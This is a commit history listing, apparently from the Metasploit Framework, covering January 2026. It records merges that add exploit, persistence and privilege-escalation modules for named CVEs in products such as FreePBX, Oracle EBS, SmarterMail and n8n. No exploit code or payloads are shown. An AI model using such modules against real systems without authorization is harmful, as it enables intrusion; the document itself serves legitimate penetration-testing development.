automatic module_metadata_base.json update
2026-01-29 15:38:16 +00:00
dwelch-r7
6fedaeefc6
Merge pull request #20909 from adfoster-r7/align-login-scanner-apis
...
Align login scanner APIs
2026-01-29 15:29:12 +00:00
Jack Heysel
68079b8cd6
GSoC 2026 Ideas Page
2026-01-29 08:17:30 -07:00
adfoster-r7
e70483b785
Rubocop
2026-01-29 14:13:18 +00:00
dledda-r7
7ea76977ae
feat: allow function calls as class instance and singleton
2026-01-29 08:28:08 -05:00
Jack Heysel
f08474e328
Updatd 2026 ideas page
2026-01-28 21:54:03 -07:00
jenkins-metasploit
38b3dad608
automatic module_metadata_base.json update
2026-01-29 04:14:36 +00:00
jheysel-r7
641ab527aa
Merge pull request #20857 from msutovsky-r7/exploit/freepbx/sql_to_rce_chain
...
Adds exploit module for FreePBX (CVE-2025-66039, CVE-2025-61675)
2026-01-28 20:03:17 -08:00
Jack Heysel
63a66ee162
Improved CVE version range info in description
2026-01-28 20:15:25 -07:00
adfoster-r7
7d81b1aecb
Align login scanner APIs
2026-01-28 16:56:52 +00:00
jenkins-metasploit
724b2c08f0
automatic module_metadata_base.json update
2026-01-28 15:27:41 +00:00
Spencer McIntyre
751ceaaaf3
Merge pull request #20902 from rudraditya21/fix/ssh-login-no-shell-success
...
Handle SSH login success when shell creation fails
2026-01-28 10:18:39 -05:00
jenkins-metasploit
23f64201b2
automatic module_metadata_base.json update
2026-01-28 14:53:46 +00:00
jheysel-r7
be4a69ab1d
Merge pull request #20846 from msutovsky-r7/exploit/freepbx/injections_rce
...
Adds auxiliary module for FreePBX (CVE-2025-66039, CVE-2025-61675)
2026-01-28 06:39:47 -08:00
Spencer McIntyre
518d1c8538
Merge pull request #20897 from h00die/fix_john_cracker
...
fix jtr cracking
2026-01-28 09:31:13 -05:00
jheysel-r7
7d931c960c
Merge pull request #20858 from msutovsky-r7/exploit/freepbx/unrestricted_file_upload
...
Adds exploit module for FreePBX (CVE-2025-66039, CVE-2025-61678)
2026-01-28 06:23:43 -08:00
h00die
f8c2c585fa
make hash_crack_validator executable
2026-01-28 09:18:42 -05:00
jheysel-r7
147a94cee5
Update freepbx_firmware_file_upload print statement
2026-01-28 06:08:47 -08:00
Spencer McIntyre
da7596b01b
Merge pull request #20908 from adfoster-r7/update-license-year
...
Update license year
2026-01-28 08:50:04 -05:00
h00die
04be22dc1a
john formatter review
2026-01-28 07:44:50 -05:00
Martin Sutovsky
e6b97a79a4
Addresses comments
2026-01-28 11:33:54 +01:00
Martin Sutovsky
7e92ef4811
Addresses comments
2026-01-28 11:14:24 +01:00
cgranleese-r7
494adbc831
Merge pull request #20890 from adfoster-r7/mark-additional-flakey-socket-tests
...
Mark additional flakey socket tests
2026-01-28 09:43:42 +00:00
adfoster-r7
c32e18cdc3
Update license year
2026-01-27 23:06:49 +00:00
adfoster-r7
136a159f1c
Merge pull request #20905 from rapid7/smcintyre-r7/feat/act/add-to-project
...
Add the action file to add the PRs to the project
2026-01-27 22:57:51 +00:00
Spencer McIntyre
5ac9c8a2be
Switch to pull_request_target
2026-01-27 13:32:57 -05:00
h00die
6d53d73758
debugging
2026-01-27 10:01:37 -05:00
jenkins-metasploit
5d4aef621b
automatic module_metadata_base.json update
2026-01-27 14:48:26 +00:00
jheysel-r7
f31776caf0
Merge pull request #20778 from h00die/ssh_keys
...
Update and combine ssh key persistence with mixin
2026-01-27 06:39:10 -08:00
Martin Sutovsky
1b5d698458
Move module to different auxiliary category
2026-01-27 10:05:06 +01:00
Rudraditya Thakur
5f0ada0c64
fixed: ssh cmd_exec newline handling in command shells
2026-01-27 09:43:55 +05:30
h00die
0b68476817
Update modules/exploits/multi/persistence/ssh_key.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2026-01-26 16:44:46 -05:00
Spencer McIntyre
6142e24891
Add the action file to add the PRs to the project
2026-01-26 16:19:44 -05:00
adfoster-r7
f4e67b6455
Mark additional flakey socket tests
2026-01-26 21:11:13 +00:00
Jack Heysel
f4427a3c04
Fix enum_user_directories duplicate dirs
2026-01-26 12:16:44 -07:00
Christophe De La Fuente
f6d0f4008a
Land #20896 , ensured: MsTdsLogin7 UTF-18 fields use RubySMB String16
2026-01-26 19:01:00 +01:00
Rudraditya Thakur
93b0c3004f
removed: the mixin's String16 class to stop BinData registry collisions and reverted: MsTdsLogin7 to its original :string16
2026-01-26 23:00:52 +05:30
Rudraditya Thakur
ea63e0df93
handles ssh login success when session creation fails
2026-01-26 22:06:55 +05:30
Martin Sutovsky
a1e56a0d36
Adds check method, adds sql injection abstraction
2026-01-26 16:07:00 +01:00
Martin Sutovsky
4a24653812
Adds disclosure date
2026-01-26 15:58:08 +01:00
Martin Sutovsky
c5ffa557a7
Adds UID in documentation
2026-01-26 13:44:09 +01:00
Martin Sutovsky
b44e06f25f
Code cleanup, adds more entropy to job name
2026-01-26 13:40:31 +01:00
Martin Sutovsky
ce4e176798
Expands check method
2026-01-26 13:30:26 +01:00
Arnout Engelen
2f2fea7f6b
add CVE reference to Continuum exploit
2026-01-26 12:36:12 +01:00
Martin Sutovsky
b263530180
Increases entropy of payload filename
2026-01-26 11:32:33 +01:00
h00die
582d5ea230
fix jtr cracking
2026-01-25 11:16:32 -05:00
Rudraditya Thakur
82bae54abe
ensured: MsTdsLogin7 UTF-18 fields use RubySMB String16
2026-01-25 10:59:02 +05:30
Rudraditya Thakur
7134f7ab06
added: negative caching for LDAP lookup misses
2026-01-25 10:13:32 +05:30
h00die
048163ea89
ssh_key persistence review
2026-01-24 16:36:54 -05:00
kukly
510ec9b57d
Merge branch 'master' into teamviewer_syntax_fix
2026-01-24 19:25:30 +01:00
jameskim200
d5eb7ed233
fix typos for the options descriptions
2026-01-23 02:52:28 -05:00
karanabe
2e1d688659
Use OptEnum for RSA key size options
2026-01-23 16:22:13 +09:00
jenkins-metasploit
591b3ea398
automatic module_metadata_base.json update
2026-01-22 19:35:48 +00:00
Spencer McIntyre
c0e9288ac5
Merge pull request #20799 from jheysel-r7/feat/cacti_graph_template_rce
...
Cacti Graph Template Authenticated RCE [CVE-2025-24367]
2026-01-22 14:26:38 -05:00
Spencer McIntyre
18a4cf8c00
Use the ssl setting for HttpServer#start_service
2026-01-22 13:49:28 -05:00
jenkins-metasploit
d54e6b6847
automatic module_metadata_base.json update
2026-01-22 16:42:07 +00:00
msutovsky-r7
b1b4020ea7
Land #20866 , adds module for unauthenticated file upload in SmarterTools SmarterMail (CVE-2025-52691)
...
SmarterTools SmarterMail Unauth File Upload RCE [CVE-2025-52691]
2026-01-22 17:33:06 +01:00
Jack Heysel
34cebd1453
Update CheckCode messaging
2026-01-22 15:03:32 +01:00
Jack Heysel
e9a6a6fd45
Responded to comments
2026-01-22 15:03:32 +01:00
Jack Heysel
96b788e1e8
Increase length of cron job name
2026-01-22 15:03:32 +01:00
Jack Heysel
0e0a6cc9cd
Removed duplicate platform
2026-01-22 15:03:31 +01:00
Jack Heysel
2e484d552e
Finishing touches
2026-01-22 15:03:31 +01:00
Jack Heysel
99e032f4af
SmarterTools SmarterMail Unauth File Upload RCE [CVE-2025-52691]
2026-01-22 15:03:30 +01:00
msutovsky-r7
537a1c5395
Land #19821 , adds Burpsuite persistence module
...
Burp extension persistence
2026-01-22 11:03:08 +01:00
jenkins-metasploit
fd79b33758
Bump version of framework to 6.4.111
2026-01-22 03:35:53 +00:00
jenkins-metasploit
7f598f66f5
automatic module_metadata_base.json update
2026-01-22 00:20:35 +00:00
jheysel-r7
719874a7f4
Merge pull request #20750 from MatDupas/add-exploit-oracle-ebs-cve-2025-61882-module
...
Add exploit oracle ebs CVE 2025 61882 module
2026-01-21 16:08:09 -08:00
Jack Heysel
927f5330f4
Rubocop fixes
2026-01-21 14:56:08 -08:00
Jack Heysel
c45309e9ab
Added payload length guards
2026-01-21 11:34:21 -08:00
jheysel-r7
b6da204725
Apply suggestions from code review
...
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com >
2026-01-21 10:09:12 -08:00
adfoster-r7
5ba95b5def
Merge pull request #20888 from jheysel-r7/fix/bad_successor_service_auth_fix_2
...
Fixes the base service authenticator for BadSuccessor
2026-01-21 11:37:28 +00:00
jenkins-metasploit
8de1b4f37a
automatic module_metadata_base.json update
2026-01-21 10:52:14 +00:00
msutovsky-r7
e38c278d86
Land #20840 , updates MongoBleed scanner module (CVE-2025-14847)
...
Updated MongoDB memory disclosure module (CVE-2025-14847)
2026-01-21 11:42:55 +01:00
Alex
9f626a0c39
Update cve_2025_14847_mongobleed.rb
2026-01-21 11:27:03 +01:00
Alex
464e15152a
Update cve_2025_14847_mongobleed.rb
2026-01-21 11:27:03 +01:00
Alex
087ab70a8e
Update cve_2025_14847_mongobleed.rb
2026-01-21 11:27:02 +01:00
Alex
99636be776
Updated mongobleed
2026-01-21 11:27:02 +01:00
MatDupas
b46649769e
Fix formatting issues in oracle_ebs exploit script
2026-01-21 09:00:52 +01:00
MatDupas
a05863f6f6
Clean up comment in generate_xsl_payload method
...
Removed comment about generating XSLT payload.
2026-01-21 08:57:10 +01:00
MatDupas
cb3df4b4de
Refactor payload options in Oracle EBS exploit
2026-01-21 08:56:01 +01:00
MatDupas
c5df078b41
Clarify payload option comment in exploit module
...
Updated the comment for the payload option to clarify usage.
2026-01-21 08:54:53 +01:00
Martin Sutovsky
ffb725f4da
Rubocopes
2026-01-21 08:16:39 +01:00
haicen
21162d7519
partially addresses PR review
2026-01-20 22:30:29 -05:00
haicen
c3830f6987
adds documentation
2026-01-20 22:29:29 -05:00
h00die
0234dc7a26
Update modules/exploits/multi/persistence/burp_extension.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-01-20 19:28:18 -05:00
h00die
ad343cb383
Update modules/exploits/multi/persistence/burp_extension.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-01-20 19:27:46 -05:00
h00die
cf43e496b1
Update modules/exploits/multi/persistence/burp_extension.rb
...
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com >
2026-01-20 19:27:08 -05:00
jenkins-metasploit
4d593dc99b
automatic module_metadata_base.json update
2026-01-20 20:45:59 +00:00
jheysel-r7
c47a74d0dd
Merge pull request #20770 from vognik/Splunk_2022-43571_CVE-2024-36985
...
Add Splunk RCE Exploits (CVE-2022-43571 & CVE-2024-36985)
2026-01-20 12:36:51 -08:00
MatDupas
c351514291
Refine description for Oracle EBS CVE-2025-61882 exploit
...
Updated the description of the Oracle E-Business Suite CVE-2025-61882 RCE exploit module to provide more detailed information about the exploit mechanism and affected versions.
2026-01-20 21:09:25 +01:00
MatDupas
df3a560d0c
Update oracle_ebs_cve_2025_61882_exploit_rce.rb
2026-01-20 21:07:25 +01:00
jheysel-r7
b2db80de18
Merge pull request #20887 from cdelafuente-r7/fix_specs
...
Fix specs issue due to a missing `KrbClockSkew` option
2026-01-20 10:44:46 -08:00
Jack Heysel
e3e388d57d
Fixes the base service authenticator for BadSuccessor
2026-01-20 09:24:36 -08:00
Christophe De La Fuente
81bc7640f0
Add missing option KrbClockSkew to specs
2026-01-20 18:16:19 +01:00
MatDupas
37c69a9bf1
Refactor Oracle EBS CVE-2025-61882 exploit module
...
Updated the Oracle E-Business Suite exploit module to fix rubocop linting errors
2026-01-20 09:12:05 +01:00
vognik
9e320dd168
add suggestions from @jheysel-r7
2026-01-19 18:45:01 -08:00
jenkins-metasploit
3d18f613ba
Bump version of framework to 6.4.110
2026-01-19 23:24:55 +00:00
jenkins-metasploit
905eeb16a6
automatic module_metadata_base.json update
2026-01-19 18:10:09 +00:00
jheysel-r7
eb49dade6f
Merge pull request #20755 from rudraditya21/feature/kerberos-clock-skew
...
Added: Option to adjust kerberos clock
2026-01-19 10:00:54 -08:00
MatDupas
bff88db29b
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-01-19 15:07:45 +01:00
MatDupas
9377662118
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-01-19 15:06:47 +01:00
MatDupas
68f7d42bb8
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com >
2026-01-19 15:04:59 +01:00
Martin Sutovsky
d2af23a4a6
Adds additional installation step
2026-01-19 11:25:39 +01:00
Martin Sutovsky
4e36ff99ac
Adds additional installation step
2026-01-19 11:24:45 +01:00
Martin Sutovsky
3672e2ba45
Adds additional installation step
2026-01-19 11:23:09 +01:00
MatDupas
47d0b1c208
Clarify default payload comment in exploit module
...
Updated the comment for the default payload option to clarify its usage.
2026-01-19 10:47:47 +01:00
MatDupas
141fa5a169
Refactor smuggling payload creation and session handling
...
Refactor HTTP request smuggling logic and error handling.
2026-01-19 10:41:23 +01:00
MatDupas
daf0fc89fc
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2026-01-19 10:34:24 +01:00
Jack Heysel
b187466bb0
Validates IMPERSONATE_TYPE is set when IMPERSONATE is present
2026-01-18 18:37:58 -08:00
karanabe
61c1b8280f
Add configurable RSA key size for ICPR
2026-01-18 20:21:55 +09:00
jenkins-metasploit
73127bb898
automatic module_metadata_base.json update
2026-01-17 19:47:42 +00:00
adfoster-r7
bb07207b9b
Merge pull request #20861 from bcoles/post-linux-system-get_hostname
...
Post::Linux::System.get_hostname: Use session sysinfo if available
2026-01-17 19:38:21 +00:00
MatDupas
21a1245a77
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2026-01-17 16:13:55 +01:00
MatDupas
ec31ff1351
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2026-01-17 16:08:43 +01:00
MatDupas
607f4651a5
Update modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2026-01-17 12:26:52 +01:00
MatDupas
54c6e18505
Update documentation/modules/exploit/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.md
...
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com >
2026-01-17 12:26:18 +01:00
jenkins-metasploit
a1eb2e224c
Bump version of framework to 6.4.109
2026-01-16 23:18:09 +00:00
adfoster-r7
0c2e390bd7
Merge pull request #20878 from jheysel-r7/fix/bad_successor_broke_kerberos_auth
...
Fix Kerberos Base Service Authenticator
2026-01-16 22:44:19 +00:00
Jack Heysel
4b610957ce
Fix Kerberos Base Service Authenticator
2026-01-16 12:31:34 -08:00
h00die
7ccf574e99
burp extension all working
2026-01-16 08:44:27 -05:00
adfoster-r7
350a39c274
Bump mettle
2026-01-16 13:04:57 +00:00
adfoster-r7
1d9a1022ba
Merge pull request #20851 from bcoles/rex-arch
...
Bump rex-arch gem from 0.1.18 to 0.1.19
2026-01-16 10:43:23 +00:00
bcoles
858b25c063
Bump rex-arch gem from 0.1.18 to 0.1.19
2026-01-16 11:24:21 +11:00
adfoster-r7
666c7ce362
Merge pull request #20865 from rajyavardhan01/docs/dect-scanner-documentation
...
Add documentation for auxiliary/scanner/dect modules
2026-01-16 00:00:22 +00:00
jenkins-metasploit
e0332096ed
automatic module_metadata_base.json update
2026-01-15 23:54:26 +00:00
adfoster-r7
8a129bfc92
Merge pull request #20873 from zeroSteiner/fix/issue/socket-channels-udp-flakies
...
Add more specific error messages
2026-01-15 23:44:05 +00:00
Brendan
ade984aead
Merge pull request #20793 from Chocapikk/avideo-v2
...
Add AVideo notify.ffmpeg.json.php unauthenticated RCE exploit (CVE-2025-34433)
2026-01-15 17:36:07 -06:00
Spencer McIntyre
36827c486d
Add more specific error messages
2026-01-15 18:20:36 -05:00
Raj Handa
b466371b46
Update DECT reference link to archive.org (dedected.org is offline)
2026-01-15 14:13:00 -08:00
h00die
fa83217a07
burp extension java target working
2026-01-15 16:15:48 -05:00
jenkins-metasploit
d084fd0799
automatic module_metadata_base.json update
2026-01-15 20:19:04 +00:00
Spencer McIntyre
6ae361b103
Merge pull request #20868 from adfoster-r7/fix-udp-sockets-for-php-meterpreter
...
Fix UDP sockets for PHP meterpreter
2026-01-15 15:09:26 -05:00
Simon Janusz
867ad79b83
Merge pull request #20870 from adfoster-r7/resolve-method-undefined-issue
...
Resolve method undefined issue
2026-01-15 16:55:56 +00:00
adfoster-r7
7f90e1f6a0
Resove method undefined issue
2026-01-15 16:32:46 +00:00
adfoster-r7
67e279ef8c
Fix UDP sockets for php meterpreter
2026-01-15 16:31:16 +00:00
dledda-r7
d6d21bf188
feat: broken-up utils/exe.rb
2026-01-15 11:15:00 -05:00
dledda-r7
64663afe9e
feat: update to_executable for windows x86 and x64
2026-01-15 11:14:22 -05:00
dledda-r7
b729b8c91e
feat: utils/exe/windows/common add common method for windows
2026-01-15 11:13:54 -05:00
dledda-r7
d9d882c637
feat: utils/exe/common.rb add common methods
2026-01-15 11:13:18 -05:00
Spencer McIntyre
3ecd8005e4
Merge pull request #20772 from rmtsixq/master
...
Fix undefined variable in Host.normalize_host causing session failures when DB is connected
2026-01-15 10:48:28 -05:00
Martin Sutovsky
b01353cc07
Code cleanup, removes line from documentation
2026-01-15 15:26:30 +01:00
Martin Sutovsky
85221800a4
Removes line from documentation, code cleanup
2026-01-15 15:23:54 +01:00
Martin Sutovsky
c56f9d2ee2
Removes line from documentation
2026-01-15 15:20:44 +01:00
Martin Sutovsky
ba1ba6d9cf
Fixes Referer header
2026-01-15 15:20:44 +01:00
Martin Sutovsky
97116e404f
Fixes the default value
2026-01-15 15:20:43 +01:00
Martin Sutovsky
e114ecdfd5
Splitting the modules into separate PRs
2026-01-15 15:20:43 +01:00
Martin Sutovsky
5ee1a15b7d
Addressing comments
2026-01-15 15:20:43 +01:00
Martin Sutovsky
b4f4078956
Updates documentation
2026-01-15 15:20:42 +01:00
Martin Sutovsky
ff5ad78912
Add directory cleanup
2026-01-15 15:20:42 +01:00
Martin Sutovsky
744b366c58
Msftidy documentation
2026-01-15 15:20:41 +01:00
Martin Sutovsky
8e8c61b9c1
Fixes typo in documentation
2026-01-15 15:20:41 +01:00
Martin Sutovsky
dd678861cc
Fixes the auxiliary module notes
2026-01-15 15:20:41 +01:00
Martin Sutovsky
3801408e79
Removes non-ascii character from description
2026-01-15 15:20:40 +01:00
Martin Sutovsky
0720ed8d5c
Updates descriptions
2026-01-15 15:20:40 +01:00
Martin Sutovsky
7bbf49112f
Updates documentation
2026-01-15 15:20:39 +01:00
Martin Sutovsky
147fd901b0
Adds descriptions
2026-01-15 15:20:39 +01:00
Martin Sutovsky
cd38ca5fa5
Adds Module Notes for firmware upload rce module
2026-01-15 15:20:39 +01:00
Martin Sutovsky
de856db75a
Adds check methods, docs init
2026-01-15 15:20:38 +01:00
Martin Sutovsky
aaf1c83f68
Modules init
2026-01-15 15:20:38 +01:00
jenkins-metasploit
5058bcad18
automatic module_metadata_base.json update
2026-01-15 12:53:19 +00:00
dwelch-r7
5bfa0ff761
Merge pull request #20869 from adfoster-r7/update-bad-successor-description
...
Update bad successor description
2026-01-15 12:43:47 +00:00
adfoster-r7
d1daf758ea
Update bad successor description
2026-01-15 12:26:12 +00:00
dledda-r7
affabf3c55
refactor: reorder parameters in to_executable methods for consistency
2026-01-15 04:35:38 -05:00
jenkins-metasploit
9f591ad456
Bump version of framework to 6.4.108
2026-01-15 03:35:45 +00:00
jenkins-metasploit
d8bef9bd7b
automatic module_metadata_base.json update
2026-01-14 22:53:30 +00:00
jheysel-r7
bb473b6019
Merge pull request #20797 from h00die/remove_persistence_exe
...
persistence modules cleanup
2026-01-14 14:43:33 -08:00
jenkins-metasploit
3077fd6011
automatic module_metadata_base.json update
2026-01-14 21:13:52 +00:00
Spencer McIntyre
af6ad7ee12
Merge pull request #20738 from Shubham0699/fix-bailiwicked-exceptions
...
Fix Bailiwicked module exceptions and SRCPORT default
2026-01-14 16:04:14 -05:00
jenkins-metasploit
c2295b13a8
automatic module_metadata_base.json update
2026-01-14 20:53:26 +00:00
Spencer McIntyre
658c251b66
Merge pull request #20472 from jheysel-r7/feat/mod/badsuccessor
...
Add BadSuccessor dMSA Privilege Escalation in Windows 2025
2026-01-14 15:43:35 -05:00
Spencer McIntyre
aa7771809c
Same error handling in #check.
...
Last minute linting
Minor author update
Update author
2026-01-14 12:40:16 -08:00
Spencer McIntyre
a7adf23a17
Add some option validation
2026-01-14 12:35:12 -08:00
Spencer McIntyre
b425559f47
Fix some names
2026-01-14 12:35:12 -08:00
Jack Heysel
c1023fd62a
Add BadSuccessor dMSA Privilege Escalation in Windows 2025
2026-01-14 12:34:45 -08:00
h00die
f4a195b88a
persistence modules cleanup
2026-01-14 13:49:29 -05:00
jenkins-metasploit
480b1ddc22
automatic module_metadata_base.json update
2026-01-14 14:57:39 +00:00
msutovsky-r7
7b092aeedb
Land #20806 , adds module for unauthenticated command injection in Control Web Panel API (CVE-2025-67888)
...
Adds module for Control Web Panel API Command Injection (CVE-2025-67888)
2026-01-14 15:44:25 +01:00
Diego Ledda
e4f8d4fb13
Merge pull request #20706 from h00die/windows_wmi_persistence
...
Update windows wmi to persistence mixin
2026-01-14 09:37:20 -05:00
h00die
6731992ddd
fix ci pipeline
2026-01-14 08:26:11 -05:00
jenkins-metasploit
6a74e2b829
automatic module_metadata_base.json update
2026-01-14 11:14:41 +00:00
Diego Ledda
e96c1e942c
Merge pull request #20845 from bcoles/linux-arm-chmod-payloads
...
Add Linux ARM chmod payloads
2026-01-14 06:05:11 -05:00
Raj Handa
42b50b759f
Add documentation for auxiliary/scanner/dect modules
...
Add module documentation (KB articles) for the DECT scanner modules:
- station_scanner.md: Documents the DECT base station scanner
- call_scanner.md: Documents the DECT active call scanner
Both documents include hardware requirements (COM-ON-AIR cards),
verification steps, options descriptions, and usage scenarios.
2026-01-13 18:40:47 -08:00
Valentin Lobstein
b2abdb21de
Fix AVideo lab documentation: update file editing instructions
...
Updated the note to provide a working method to edit configuration.php. Users can enter the container shell or copy the file out for editing.
2026-01-14 00:35:39 +01:00
Valentin Lobstein
ae4babbcf1
Fix AVideo lab documentation: remove broken sed command
...
Removed the broken sed command that doesn't work correctly. Updated note to specify editing /var/www/html/AVideo/videos/configuration.php manually with an editor instead.
2026-01-14 00:34:35 +01:00
Valentin Lobstein
37f9802b83
Update AVideo lab documentation: remove automatic sed fix, specify file to edit
...
Removed mention of automatic sed fix in docker-entrypoint. Updated note to specify that users should manually edit /var/www/html/AVideo/videos/configuration.php if they encounter redirect issues with webSiteRootURL.
2026-01-14 00:34:10 +01:00
Valentin Lobstein
733455eb53
Change port to 80 in AVideo lab documentation
...
Changed HTTP_PORT from 9999 to 80 in the documentation to use the correct URL directly. This fixes the webSiteRootURL issue where AVideo was generating incorrect URLs with the mapped port instead of the container's internal port.
2026-01-14 00:32:43 +01:00
h00die
1a6aaa91d0
fix up windows implementation
2026-01-13 16:50:21 -05:00
Valentin Lobstein
f6430ee093
Fix MariaDB tc.log corruption issue in AVideo lab setup
...
The MariaDB container fails to start with 'Bad magic header in tc log' error
when the data directory has incorrect permissions or was previously corrupted.
This occurs during first-time setup of the AVideo lab environment.
The fix:
- Creates a custom entrypoint script that detects and removes corrupted tc.log
files by checking the magic header (should be 01 00 00 00)
- Modifies Dockerfile.mariadb to integrate the fix script into the original
MariaDB entrypoint using sed
- Ensures the fix runs automatically before MariaDB initialization
This allows the lab to start successfully on first run without manual intervention.
Co-authored-by: bwatters-r7 <bwatters-r7@users.noreply.github.com >
2026-01-13 22:31:38 +01:00
jenkins-metasploit
595dce8956
automatic module_metadata_base.json update
2026-01-13 16:00:41 +00:00
msutovsky-r7
eae97b314a
Land #20810 , adds module for authenticated RCE in n8n (CVE-2025-68613)
...
Adds module for n8n workflow expression RCE (CVE-2025-68613)
2026-01-13 16:51:06 +01:00
Martin Sutovsky
fec9388c33
Adds comment
2026-01-13 16:31:01 +01:00
jenkins-metasploit
a3ca8dd27e
automatic module_metadata_base.json update
2026-01-13 15:30:59 +00:00
Diego Ledda
9463ed4453
Merge pull request #20855 from h00die/fix_persistence_windows
...
Enhance Persistences
2026-01-13 10:20:46 -05:00
Martin Sutovsky
7b55f22afb
Fixes payload delivery and execution to support all vulnerable versions
2026-01-13 15:37:12 +01:00
bcoles
e245298fc2
Add Linux ARM chmod payloads
2026-01-14 01:04:22 +11:00
Martin Sutovsky
2809ff8235
Fix archs
2026-01-13 14:24:04 +01:00
Diego Ledda
7ad037accb
Merge pull request #19990 from msutovsky-r7/feat/fetch_fileless_update
...
Syscall execution method for fileless ELF execution
2026-01-13 05:49:32 -05:00
Martin Sutovsky
dfc1adb40c
Dropping support for PPC archs
2026-01-13 08:36:28 +01:00
Martin Sutovsky
c925ffbfdf
Fixes the Mipsbe bug
2026-01-13 08:34:33 +01:00
Martin Sutovsky
b1fc76c1c6
Fixes MIPS64
2026-01-13 08:34:32 +01:00
Martin Sutovsky
e1f0c72e27
Adds documentation
2026-01-13 08:34:32 +01:00
Martin Sutovsky
d057be11e5
Adds more reliable splitting hex shellcode, more reliable shell spawning
2026-01-13 08:34:32 +01:00
Martin Sutovsky
8a7ed167ae
Adds x86/x64 loader shellcode
2026-01-13 08:34:31 +01:00
Martin Sutovsky
a302985f34
Adds POSIX support, more reliable process killing
2026-01-13 08:34:31 +01:00
Martin Sutovsky
f92c58151a
Removes unnecessary line
2026-01-13 08:34:30 +01:00
Martin Sutovsky
b19f7d1f1b
Removing teaser
2026-01-13 08:34:30 +01:00
Martin Sutovsky
243c71b7a9
Adds killing memfd_create process to avoid having bash idly waiting; code refactor; comments
2026-01-13 08:34:30 +01:00
Martin Sutovsky
596184d636
Option rename
2026-01-13 08:34:29 +01:00
Martin Sutovsky
5857697edb
MIPS fix
2026-01-13 08:34:29 +01:00
Martin Sutovsky
bbe66eec78
MIPS64 fix
2026-01-13 08:34:29 +01:00
Martin Sutovsky
e3514dda3a
Add ppc/ppc64 fix
2026-01-13 08:34:28 +01:00
Martin Sutovsky
bc467503a0
Add bash-search option
2026-01-13 08:34:28 +01:00
Martin Sutovsky
c93015a86d
Add armbe/armle fix
2026-01-13 08:34:27 +01:00
Martin Sutovsky
cc3d10d2df
Code refactor
2026-01-13 08:34:27 +01:00
Martin Sutovsky
66374f877a
Update jump instruction armle/armbe
2026-01-13 08:34:27 +01:00
Martin Sutovsky
8a9eeafd1c
armle/armbe shellcode update
2026-01-13 08:34:26 +01:00
Martin Sutovsky
8a4265038a
armbe/armle jump instruction update
2026-01-13 08:34:26 +01:00
Martin Sutovsky
dfc51fdcd9
Fix for lost zero byte in arm64, adding more reliable method for all archs
2026-01-13 08:34:25 +01:00
Martin Sutovsky
2ccbffe67a
Fixing jump instruction for aarch64
2026-01-13 08:34:25 +01:00
Martin Sutovsky
0821db9e94
Adding remaining architectures, untested
2026-01-13 08:34:25 +01:00
Martin Sutovsky
7ab1e0dc10
Fix sh option
2026-01-13 08:34:24 +01:00
Martin Sutovsky
ff9fe421f5
Rebase, adding sh option
2026-01-13 08:34:24 +01:00
Martin Sutovsky
eab7781b29
Fixes Referer header
2026-01-13 08:18:21 +01:00
jenkins-metasploit
aa5d4d0504
automatic module_metadata_base.json update
2026-01-12 23:23:32 +00:00
Brendan
10d12570c0
Merge pull request #20791 from Chocapikk/webcheck
...
Add Web-Check screenshot API command injection RCE exploit (CVE-2025-32778)
2026-01-12 17:14:04 -06:00
JohannesLks
4678d82c6d
fix: architecture specification
2026-01-12 17:03:08 +01:00
Martin Sutovsky
9cf1bb4b81
Fixes the default value
2026-01-12 16:57:34 +01:00
Martin Sutovsky
86f7e795cf
Fixes the default value
2026-01-12 16:56:05 +01:00
msutovsky-r7
87da6e2bee
Land #20665 , adds documentation for ipv6_neighbor_router_advertisement module
...
Add documentation for ipv6_neighbour_router_advertisement.rb
2026-01-12 15:16:41 +01:00
Martin Sutovsky
defa2b1337
Adds reference to protocol, fixes formatting
2026-01-12 14:54:46 +01:00
basicallyabidoof
2f62e7c031
Add documentation for ipv6_neighbor_router_advertisement.rb see https://github.com/rapid7/metasploit-framework/issues/12389
2026-01-12 14:54:46 +01:00
dledda-r7
c08a86fa0a
fix: rename file typo
2026-01-12 07:30:06 -05:00
h00die
1d9ecc89c6
add attck ref
2026-01-11 07:47:03 -05:00
h00die
1e98e1b932
update wsl startup folder persistence with attck ref
2026-01-11 07:45:50 -05:00
bcoles
c03043dada
Post::Linux::System.get_hostname: Use session sysinfo if available
2026-01-11 23:31:58 +11:00
h00die
6491f74d9d
wmi persistence improvements
2026-01-11 07:25:13 -05:00
h00die
19f5970c61
add udev mitre ref
2026-01-09 16:22:24 -05:00
h00die
1afd3e299c
update example linux persistence module
2026-01-09 16:21:08 -05:00
h00die
aa5fd40a19
add arch to windows modules and triggered execution attck to most persistence
2026-01-09 16:21:08 -05:00
h00die
52ad17690f
add arch to windows modules and triggered execution attck to most persistence
2026-01-09 16:21:07 -05:00
Jack Heysel
cdebe41d6c
Revert unintended change
2026-01-09 09:55:22 -08:00
jheysel-r7
dc5039b84c
Update modules/exploits/multi/http/cacti_graph_template_rce.rb
...
Co-authored-by: Brendan <bwatters@rapid7.com >
2026-01-09 09:46:08 -08:00
Rudraditya Thakur
166c8b75d2
updated: error message
2026-01-09 22:29:22 +05:30
JohannesLks
d45e91b130
typo
2026-01-09 10:48:30 -05:00
jenkins-metasploit
838dcad772
